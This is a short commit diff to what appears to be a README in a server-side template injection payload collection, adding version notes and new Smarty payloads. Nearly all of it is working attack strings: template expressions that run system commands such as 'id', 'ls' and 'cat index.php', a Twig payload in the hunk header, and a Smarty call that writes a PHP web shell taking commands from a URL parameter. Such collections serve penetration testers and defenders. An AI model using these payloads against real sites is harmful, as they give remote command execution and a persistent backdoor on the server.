Update Smarty Template Injection

Server Side Template Injection/README.md

@@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
 
 ```python
 {$smarty.version}
-{php}echo `id`;{/php}
+{php}echo `id`;{/php} //deprecated in smarty v3
 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
+{system('ls')} // compatible v3
+{system('cat index.php')} // compatible v3
 ```
 
 ## Freemarker